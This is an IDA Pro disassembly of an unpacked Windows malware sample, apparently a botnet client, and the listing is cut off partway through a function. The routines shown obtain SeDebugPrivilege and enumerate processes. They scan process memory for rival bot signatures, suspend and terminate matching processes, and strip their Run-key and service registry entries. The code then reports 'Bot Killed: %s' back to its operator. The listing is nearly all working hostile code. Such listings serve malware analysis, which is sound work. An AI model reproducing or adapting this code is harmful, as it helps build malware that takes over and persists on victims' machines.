;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	EC1C04D77301A92E2A9381304A4E832A

; File Name   :	u:\work\ec1c04d77301a92e2a9381304a4e832a_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0001D000 ( 118784.)
; Section size in file		: 0001D000 ( 118784.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_4049E1+35Eo
					; isk1wxzg:0044F7E8o

var_25D		= byte ptr -25Dh
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= byte ptr -248h
var_240		= byte ptr -240h
var_238		= dword	ptr -238h
var_230		= dword	ptr -230h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 264h
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+264h+var_4], eax
		push	ebx
		push	esi
		push	edi
		call	sub_40C62E	; GetCurrentProcessId
		mov	ebx, ds:dword_41E0CC
		push	offset aOpenthread ; "OpenThread"
		mov	edi, offset aKernel32_dll ; "kernel32.dll"
		push	edi
		mov	[esp+278h+var_24C], eax
		call	ebx	; GetModuleHandleA
		mov	esi, ds:off_41E0D4
		push	eax
		call	esi ; sub_44439D
		push	offset aOpenprocess ; "OpenProcess"
		push	edi
		mov	dword_426600, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_44439D
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_42660C, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_44439D
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4265F4, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_44439D
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4265F8, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_44439D
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4265FC, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_44439D
		push	offset aModule32next ; "Module32Next"
		push	edi
		mov	dword_4265E8, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_44439D
		push	offset aThread32first ;	"Thread32First"
		push	edi
		mov	dword_426604, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_44439D
		push	offset aThread32next ; "Thread32Next"
		push	edi
		mov	dword_4265EC, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_44439D
		push	offset aReadprocessmem ; "ReadProcessMemory"
		push	edi
		mov	dword_426610, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_44439D
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	offset aPsapi_dll ; "psapi.dll"
		mov	dword_4265F0, eax
		call	ds:off_41E0D0
		push	eax
		call	esi ; sub_44439D
		xor	ebx, ebx
		cmp	dword_426600, ebx
		mov	dword_426608, eax
		jz	loc_4013E4
		cmp	dword_42660C, ebx
		jz	loc_4013E4
		cmp	dword_4265F4, ebx
		jz	loc_4013E4
		cmp	dword_4265F8, ebx
		jz	loc_4013E4
		cmp	dword_4265FC, ebx
		jz	loc_4013E4
		cmp	dword_4265E8, ebx
		jz	loc_4013E4
		cmp	dword_426604, ebx
		jz	loc_4013E4
		cmp	dword_4265EC, ebx
		jz	loc_4013E4
		cmp	dword_426610, ebx
		jz	loc_4013E4
		cmp	dword_4265F0, ebx
		jz	loc_4013E4
		cmp	eax, ebx
		jz	loc_4013E4

loc_401171:				; CODE XREF: sub_401000+3DFj
		push	ebx
		push	0Fh
		mov	[esp+278h+var_238], 128h
		call	dword_4265F4
		lea	ecx, [esp+270h+var_238]
		push	ecx
		push	eax
		mov	[esp+278h+var_258], eax
		call	dword_4265F8
		test	eax, eax
		jz	loc_4013D4
		jmp	loc_4013BD
; ---------------------------------------------------------------------------

loc_40119F:				; CODE XREF: sub_401000+3CEj
		mov	edi, ds:off_41E0E8
		lea	eax, [esp+270h+var_25C]
		push	eax
		push	ebx
		push	28h
		mov	[esp+27Ch+var_25D], 1
		call	edi ; sub_43DB13
		mov	esi, ds:off_41E034
		push	eax
		call	esi ; sub_44E232
		test	eax, eax
		jnz	short loc_4011F3
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		cmp	eax, 3F0h
		jnz	short loc_4011EF
		push	2
		call	ds:off_41E02C
		test	eax, eax
		jnz	short loc_4011DE
		mov	[esp+270h+var_25D], bl

loc_4011DE:				; CODE XREF: sub_401000+1D8j
		lea	eax, [esp+270h+var_25C]
		push	eax
		push	ebx
		push	28h
		call	edi ; sub_43DB13
		push	eax
		call	esi ; sub_44E232
		test	eax, eax
		jnz	short loc_4011F3

loc_4011EF:				; CODE XREF: sub_401000+1CCj
		mov	[esp+270h+var_25D], bl

loc_4011F3:				; CODE XREF: sub_401000+1BFj
					; sub_401000+1EDj
		mov	esi, [esp+270h+var_25C]
		lea	eax, [esp+270h+var_240]
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	ebx
		call	ds:off_41E030
		test	eax, eax
		jz	short loc_40121E
		push	1
		push	esi
		lea	esi, [esp+278h+var_240]
		call	sub_40196D
		cmp	al, bl
		pop	ecx
		pop	ecx
		jnz	short loc_40122C

loc_40121E:				; CODE XREF: sub_401000+20Aj
		push	[esp+270h+var_25C]
		call	ds:dword_41E0C4	; CloseHandle
		mov	[esp+270h+var_25D], bl

loc_40122C:				; CODE XREF: sub_401000+21Cj
		push	[esp+270h+var_230]
		push	ebx
		push	1F0FFFh
		call	dword_42660C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_401246
		mov	[esp+270h+var_25D], bl

loc_401246:				; CODE XREF: sub_401000+240j
		mov	esi, 104h
		push	esi
		lea	eax, [esp+274h+var_110]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	esi
		lea	eax, [esp+274h+var_110]
		push	eax
		push	ebx
		push	edi
		call	dword_426608
		cmp	[esp+270h+var_25D], bl
		jz	loc_4013A6
		mov	esi, [esp+270h+var_25C]
		lea	eax, [esp+270h+var_248]
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	ebx
		call	ds:off_41E030
		test	eax, eax
		jz	short loc_40129E
		push	ebx
		push	esi
		lea	esi, [esp+278h+var_248]
		call	sub_40196D
		pop	ecx
		pop	ecx

loc_40129E:				; CODE XREF: sub_401000+28Fj
		push	8
		lea	eax, [esp+274h+var_254]
		push	ebx
		push	eax
		call	sub_40C6F0
		mov	eax, [esp+27Ch+var_24C]
		add	esp, 0Ch
		cmp	[esp+270h+var_230], eax
		jz	loc_4013A6
		lea	eax, [esp+270h+var_214]
		push	offset aSystem	; "System"
		push	eax
		call	sub_40ACE3
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4013A6
		push	[esp+270h+var_230]
		call	sub_4017FD
		test	al, al
		pop	ecx
		jz	loc_4013A6
		push	[esp+270h+var_230]
		lea	esi, [esp+274h+var_254]
		call	sub_40176E
		test	al, al
		pop	ecx
		jz	loc_40139C
		push	[esp+270h+var_250]
		push	[esp+274h+var_254]
		push	edi
		call	sub_4018DF
		add	esp, 0Ch
		test	al, al
		jz	loc_40139C
		push	100h
		call	sub_40AA82
		pop	ecx
		push	0FFFFFFFFh
		push	edi
		mov	esi, eax
		call	ds:off_41E0DC
		test	eax, eax
		jz	short loc_401395
		push	7D0h
		call	ds:off_41E0E0
		lea	eax, [esp+270h+var_110]
		push	eax
		call	ds:off_41E0B8
		test	eax, eax
		lea	eax, [esp+270h+var_214]
		push	eax
		jz	short loc_40135D
		call	sub_40140A
		pop	ecx
		lea	eax, [esp+270h+var_214]
		push	eax

loc_40135D:				; CODE XREF: sub_401000+350j
		call	sub_40158F
		pop	ecx
		push	esi
		call	sub_40C58B
		pop	ecx
		push	eax
		mov	ebx, offset asc_424FE0 ; "±±ÆÀÔÙ"
		call	sub_401ACE
		pop	ecx
		lea	eax, [esp+270h+var_110]
		push	eax
		push	offset aBotKilledS ; "Bot Killed: %s"
		push	esi
		push	0
		push	offset dword_426A3C
		call	sub_403DB4
		add	esp, 14h
		xor	ebx, ebx

loc_401395:				; CODE XREF: sub_401000+32Ej
		push	esi
		call	sub_40C76A
		pop	ecx

loc_40139C:				; CODE XREF: sub_401000+2F7j
					; sub_401000+310j
		push	[esp+270h+var_230]
		call	sub_40186E
		pop	ecx

loc_4013A6:				; CODE XREF: sub_401000+272j
					; sub_401000+2B6j ...
		push	[esp+270h+var_25C]
		mov	esi, ds:dword_41E0C4
		call	esi	; CloseHandle
		push	edi
		call	esi	; CloseHandle
		push	1
		call	ds:off_41E0E0

loc_4013BD:				; CODE XREF: sub_401000+19Aj
		lea	eax, [esp+270h+var_238]
		push	eax
		push	[esp+274h+var_258]
		call	dword_4265FC
		test	eax, eax
		jnz	loc_40119F

loc_4013D4:				; CODE XREF: sub_401000+194j
		push	927C0h
		call	ds:off_41E0E0
		jmp	loc_401171
; ---------------------------------------------------------------------------

loc_4013E4:				; CODE XREF: sub_401000+F7j
					; sub_401000+103j ...
		call	ds:dword_41E0C8	; GetCurrentThreadId
		push	eax
		call	sub_4084BC
		pop	ecx
		mov	ecx, [esp+270h+var_4]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		xor	eax, eax
		call	sub_40AB4A
		mov	esp, ebp
		pop	ebp
		retn	4
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=1B8h


sub_40140A	proc near		; CODE XREF: sub_401000+352p

var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-1B8h]
		sub	esp, 238h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+1B8h+var_4], eax
		mov	eax, [ebp+1B8h+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0FFh
		mov	[ebp+1B8h+var_228], eax
		lea	eax, [ebp+1B8h+var_103]
		push	ebx
		push	eax
		mov	[ebp+1B8h+var_238], offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	[ebp+1B8h+var_234], offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	[ebp+1B8h+var_230], offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	[ebp+1B8h+var_22C], offset aSoftwareMicr_2 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	[ebp+1B8h+var_104], bl
		call	sub_40C6F0
		mov	edi, ds:off_41E01C
		mov	esi, 100h
		add	esp, 0Ch
		mov	[ebp+1B8h+var_220], esi
		mov	[ebp+1B8h+var_21C], esi
		mov	[ebp+1B8h+var_20C], offset dword_4255C8
		mov	[ebp+1B8h+var_224], 2

loc_401489:				; CODE XREF: sub_40140A+167j
		mov	[ebp+1B8h+var_208], ebx

loc_40148C:				; CODE XREF: sub_40140A+15Aj
		mov	eax, [ebp+1B8h+var_208]
		mov	eax, [ebp+eax*4+1B8h+var_238]
		lea	ecx, [ebp+1B8h+var_218]
		push	ecx
		push	1
		push	ebx
		push	eax
		mov	eax, [ebp+1B8h+var_20C]
		push	dword ptr [eax]
		call	ds:off_41E028
		test	eax, eax
		jnz	loc_401554
		lea	eax, [ebp+1B8h+var_21C]
		push	eax
		lea	eax, [ebp+1B8h+var_204]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+1B8h+var_220]
		push	eax
		lea	eax, [ebp+1B8h+var_104]
		push	eax
		mov	[ebp+1B8h+var_214], ebx
		push	ebx
		jmp	short loc_401544
; ---------------------------------------------------------------------------

loc_4014C9:				; CODE XREF: sub_40140A+144j
		lea	eax, [ebp+1B8h+var_204]
		push	eax
		mov	[ebp+1B8h+var_210], ebx
		call	sub_40C500
		pop	ecx

loc_4014D6:				; CODE XREF: sub_40140A+117j
		push	[ebp+1B8h+var_228]
		call	sub_40C500
		push	eax
		mov	eax, [ebp+1B8h+var_210]
		push	[ebp+1B8h+var_228]
		lea	eax, [ebp+eax+1B8h+var_204]
		push	eax
		call	sub_40AE23
		add	esp, 10h
		test	eax, eax
		jnz	short loc_401511
		lea	eax, [ebp+1B8h+var_104]
		push	eax
		mov	eax, [ebp+1B8h+var_208]
		push	[ebp+eax*4+1B8h+var_238]
		mov	eax, [ebp+1B8h+var_20C]
		push	dword ptr [eax]
		call	sub_405168
		add	esp, 0Ch

loc_401511:				; CODE XREF: sub_40140A+EAj
		inc	[ebp+1B8h+var_210]
		lea	eax, [ebp+1B8h+var_204]
		push	eax
		call	sub_40C500
		cmp	[ebp+1B8h+var_210], eax
		pop	ecx
		jbe	short loc_4014D6
		inc	[ebp+1B8h+var_214]
		lea	eax, [ebp+1B8h+var_21C]
		push	eax
		lea	eax, [ebp+1B8h+var_204]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+1B8h+var_220]
		push	eax
		lea	eax, [ebp+1B8h+var_104]
		push	eax
		push	[ebp+1B8h+var_214]
		mov	[ebp+1B8h+var_220], esi
		mov	[ebp+1B8h+var_21C], esi

loc_401544:				; CODE XREF: sub_40140A+BDj
		push	[ebp+1B8h+var_218]
		call	edi ; sub_449641
		cmp	eax, 103h
		jnz	loc_4014C9

loc_401554:				; CODE XREF: sub_40140A+9Ej
		push	[ebp+1B8h+var_218]
		call	ds:off_41E00C
		inc	[ebp+1B8h+var_208]
		cmp	[ebp+1B8h+var_208], 4
		jb	loc_40148C
		add	[ebp+1B8h+var_20C], 4
		dec	[ebp+1B8h+var_224]
		jnz	loc_401489
		mov	ecx, [ebp+1B8h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		add	ebp, 1B8h
		leave
		retn
sub_40140A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2C8h


sub_40158F	proc near		; CODE XREF: sub_401000:loc_40135Dp

var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_33C		= dword	ptr -33Ch
var_338		= dword	ptr -338h
var_334		= byte ptr -334h
var_234		= byte ptr -234h
var_233		= byte ptr -233h
var_134		= byte ptr -134h
var_133		= byte ptr -133h
var_34		= byte ptr -34h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-2C8h]
		sub	esp, 348h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+2C8h+var_4], eax
		push	ebx
		push	esi
		mov	eax, [ebp+2C8h+arg_0]
		push	edi
		push	0Bh
		pop	ecx
		mov	esi, offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\Eventlog\\"...
		lea	edi, [ebp+2C8h+var_34]
		rep movsd
		movsw
		mov	esi, 0FFh
		xor	ebx, ebx
		push	esi
		mov	[ebp+2C8h+var_348], eax
		lea	eax, [ebp+2C8h+var_133]
		push	ebx
		push	eax
		mov	[ebp+2C8h+var_134], bl
		call	sub_40C6F0
		push	esi
		lea	eax, [ebp+2C8h+var_233]
		push	ebx
		push	eax
		mov	[ebp+2C8h+var_234], bl
		call	sub_40C6F0
		add	esp, 18h
		lea	eax, [ebp+2C8h+var_340]
		push	eax
		push	0F003Fh
		push	ebx
		lea	eax, [ebp+2C8h+var_34]
		push	eax
		push	80000002h
		call	ds:off_41E028
		test	eax, eax
		jnz	loc_40174D
		inc	esi
		push	esi
		lea	eax, [ebp+2C8h+var_234]
		push	eax
		push	ebx
		push	[ebp+2C8h+var_340]
		mov	[ebp+2C8h+var_33C], ebx
		call	ds:off_41E014
		cmp	eax, 103h
		jz	loc_40174D
		mov	edi, ds:off_41E03C

loc_401645:				; CODE XREF: sub_40158F+1B8j
		push	esi
		lea	eax, [ebp+2C8h+var_334]
		push	ebx
		push	eax
		call	sub_40C6F0
		push	esi
		lea	eax, [ebp+2C8h+var_134]
		push	ebx
		push	eax
		call	sub_40C6F0
		lea	eax, [ebp+2C8h+var_234]
		push	eax
		lea	eax, [ebp+2C8h+var_34]
		push	eax
		push	offset aSS_2	; "%s\\%s"
		lea	eax, [ebp+2C8h+var_134]
		push	0FFh
		push	eax
		call	sub_40C634
		lea	eax, [ebp+2C8h+var_134]
		push	eax
		call	sub_40C500
		mov	[ebp+eax+2C8h+var_134],	bl
		lea	eax, [ebp+2C8h+var_334]
		push	eax
		lea	eax, [ebp+2C8h+var_134]
		push	offset aEventmessagefi ; "EventMessageFile"
		push	eax
		call	sub_4051BC
		add	esp, 3Ch
		test	al, al
		jz	short loc_40172B
		lea	eax, [ebp+2C8h+var_334]
		push	eax
		mov	[ebp+2C8h+var_338], ebx
		call	sub_40C500
		pop	ecx

loc_4016BE:				; CODE XREF: sub_40158F+19Aj
		push	[ebp+2C8h+var_348]
		call	sub_40C500
		push	eax
		mov	eax, [ebp+2C8h+var_338]
		push	[ebp+2C8h+var_348]
		lea	eax, [ebp+eax+2C8h+var_334]
		push	eax
		call	sub_40AE23
		add	esp, 10h
		test	eax, eax
		jnz	short loc_401719
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:off_41E020
		push	0F01FFh
		lea	ecx, [ebp+2C8h+var_234]
		push	ecx
		push	eax
		mov	[ebp+2C8h+var_344], eax
		call	ds:off_41E040
		mov	ebx, eax
		call	sub_4019F9
		push	ebx
		call	ds:off_41E038
		push	[ebp+2C8h+var_344]
		call	edi ; sub_440CDB
		push	ebx
		call	edi ; sub_440CDB
		xor	ebx, ebx

loc_401719:				; CODE XREF: sub_40158F+14Dj
		inc	[ebp+2C8h+var_338]
		lea	eax, [ebp+2C8h+var_334]
		push	eax
		call	sub_40C500
		cmp	[ebp+2C8h+var_338], eax
		pop	ecx
		jbe	short loc_4016BE

loc_40172B:				; CODE XREF: sub_40158F+120j
		inc	[ebp+2C8h+var_33C]
		push	esi
		lea	eax, [ebp+2C8h+var_234]
		push	eax
		push	[ebp+2C8h+var_33C]
		push	[ebp+2C8h+var_340]
		call	ds:off_41E014
		cmp	eax, 103h
		jnz	loc_401645

loc_40174D:				; CODE XREF: sub_40158F+89j
					; sub_40158F+AAj
		push	[ebp+2C8h+var_340]
		call	ds:off_41E00C
		mov	ecx, [ebp+2C8h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		add	ebp, 2C8h
		leave
		retn
sub_40158F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40176E	proc near		; CODE XREF: sub_401000+2EFp

var_228		= dword	ptr -228h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 228h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	edi
		push	[ebp+arg_0]
		xor	ebx, ebx
		push	8
		call	dword_4265F4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4017A7

loc_401797:				; CODE XREF: sub_40176E+53j
		xor	al, al

loc_401799:				; CODE XREF: sub_40176E+8Dj
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
; ---------------------------------------------------------------------------

loc_4017A7:				; CODE XREF: sub_40176E+27j
		lea	eax, [ebp+var_228]
		push	eax
		push	edi
		mov	[ebp+var_228], 224h
		call	dword_4265E8
		test	eax, eax
		jz	short loc_401797

loc_4017C3:				; CODE XREF: sub_40176E+6Bj
		inc	ebx
		cmp	ebx, 1
		jz	short loc_4017DF
		lea	eax, [ebp+var_228]
		push	eax
		push	edi
		call	dword_426604
		test	eax, eax
		jnz	short loc_4017C3
		xor	bl, bl
		jmp	short loc_4017F2
; ---------------------------------------------------------------------------

loc_4017DF:				; CODE XREF: sub_40176E+59j
		mov	eax, [ebp+var_214]
		mov	[esi], eax
		mov	eax, [ebp+var_210]
		mov	[esi+4], eax
		mov	bl, 1

loc_4017F2:				; CODE XREF: sub_40176E+6Fj
		push	edi
		call	ds:dword_41E0C4	; CloseHandle
		mov	al, bl
		jmp	short loc_401799
sub_40176E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017FD	proc near		; CODE XREF: sub_401000+2D9p

var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		push	0
		push	4
		call	dword_4265F4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_401819

loc_401815:				; CODE XREF: sub_4017FD+30j
		xor	al, al
		jmp	short loc_40186B
; ---------------------------------------------------------------------------

loc_401819:				; CODE XREF: sub_4017FD+16j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		mov	[ebp+var_1C], 1Ch
		call	dword_4265EC
		test	eax, eax
		jz	short loc_401815

loc_40182F:				; CODE XREF: sub_4017FD+63j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_401853
		push	[ebp+var_14]
		push	0
		push	1F03FFh
		call	dword_426600
		push	eax
		call	ds:off_41E0C0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401862

loc_401853:				; CODE XREF: sub_4017FD+38j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_426610
		test	eax, eax
		jnz	short loc_40182F

loc_401862:				; CODE XREF: sub_4017FD+54j
		push	esi
		call	ds:dword_41E0C4	; CloseHandle
		mov	al, 1

loc_40186B:				; CODE XREF: sub_4017FD+1Aj
		pop	esi
		leave
		retn
sub_4017FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40186E	proc near		; CODE XREF: sub_401000+3A0p

var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		push	0
		push	4
		call	dword_4265F4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40188A

loc_401886:				; CODE XREF: sub_40186E+30j
		xor	al, al
		jmp	short loc_4018DC
; ---------------------------------------------------------------------------

loc_40188A:				; CODE XREF: sub_40186E+16j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		mov	[ebp+var_1C], 1Ch
		call	dword_4265EC
		test	eax, eax
		jz	short loc_401886

loc_4018A0:				; CODE XREF: sub_40186E+63j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4018C4
		push	[ebp+var_14]
		push	0
		push	1F03FFh
		call	dword_426600
		push	eax
		call	ds:off_41E0BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4018D3

loc_4018C4:				; CODE XREF: sub_40186E+38j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_426610
		test	eax, eax
		jnz	short loc_4018A0

loc_4018D3:				; CODE XREF: sub_40186E+54j
		push	esi
		call	ds:dword_41E0C4	; CloseHandle
		mov	al, 1

loc_4018DC:				; CODE XREF: sub_40186E+1Aj
		pop	esi
		leave
		retn
sub_40186E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018DF	proc near		; CODE XREF: sub_401000+306p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_40AA82
		xor	edi, edi
		mov	esi, eax
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], edi
		jnz	short loc_401907
		push	edi
		call	sub_40C76A
		pop	ecx
		xor	al, al

loc_401903:				; CODE XREF: sub_4018DF+4Dj
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_401907:				; CODE XREF: sub_4018DF+19j
		push	ebx
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4265F0
		test	eax, eax
		jnz	short loc_40192E

loc_401920:				; CODE XREF: sub_4018DF+88j
		xor	bl, bl

loc_401922:				; CODE XREF: sub_4018DF+8Cj
		push	esi
		call	sub_40C76A
		pop	ecx
		mov	al, bl
		pop	ebx
		jmp	short loc_401903
; ---------------------------------------------------------------------------

loc_40192E:				; CODE XREF: sub_4018DF+3Fj
					; sub_4018DF+86j
		and	[ebp+var_4], 0
		mov	ebx, offset dword_4255D0

loc_401937:				; CODE XREF: sub_4018DF+80j
		push	dword ptr [ebx+80h]
		lea	eax, [edi+esi]
		push	ebx
		push	eax
		call	sub_40AE7F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401969
		mov	eax, 84h
		add	[ebp+var_4], eax
		add	ebx, eax
		cmp	[ebp+var_4], 4A4h
		jb	short loc_401937
		inc	edi
		cmp	edi, [ebp+var_8]
		jbe	short loc_40192E
		jmp	short loc_401920
; ---------------------------------------------------------------------------

loc_401969:				; CODE XREF: sub_4018DF+6Dj
		mov	bl, 1
		jmp	short loc_401922
sub_4018DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40196D	proc near		; CODE XREF: sub_401000+213p
					; sub_401000+297p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	ecx, [esi]
		and	[ebp+var_18], 0
		push	ebx
		push	edi
		mov	edi, ds:off_41E010
		push	10h
		pop	eax
		mov	[ebp+var_20], ecx
		mov	ecx, [esi+4]
		mov	[ebp+var_1C], ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_14]
		push	ecx
		push	eax
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_24]
		push	eax
		push	0
		push	[ebp+arg_0]
		mov	[ebp+var_24], 1
		call	edi ; sub_446217
		mov	ebx, ds:dword_41E0D8
		call	ebx	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_4019BB
		xor	al, al
		jmp	short loc_4019F5
; ---------------------------------------------------------------------------

loc_4019BB:				; CODE XREF: sub_40196D+48j
		mov	eax, [esi]
		mov	[ebp+var_10], eax
		mov	eax, [esi+4]
		mov	[ebp+var_C], eax
		xor	eax, eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+var_14], 1
		jz	short loc_4019DA
		or	[ebp+var_8], 2
		jmp	short loc_4019DE
; ---------------------------------------------------------------------------

loc_4019DA:				; CODE XREF: sub_40196D+65j
		and	[ebp+var_8], 0FFFFFFFDh

loc_4019DE:				; CODE XREF: sub_40196D+6Bj
		push	eax
		push	eax
		push	[ebp+var_4]
		lea	ecx, [ebp+var_14]
		push	ecx
		push	eax
		push	[ebp+arg_0]
		call	edi ; sub_446217
		call	ebx	; RtlGetLastWin32Error
		neg	eax
		sbb	al, al
		inc	al

loc_4019F5:				; CODE XREF: sub_40196D+4Cj
		pop	edi
		pop	ebx
		leave
		retn
sub_40196D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019F9	proc near		; CODE XREF: sub_40158F+174p

var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	2Ch
		push	offset dword_421FA8
		call	__SEH_prolog4
		mov	edi, ds:dword_41E0EC
		call	edi	; GetTickCount
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_1C]
		push	eax
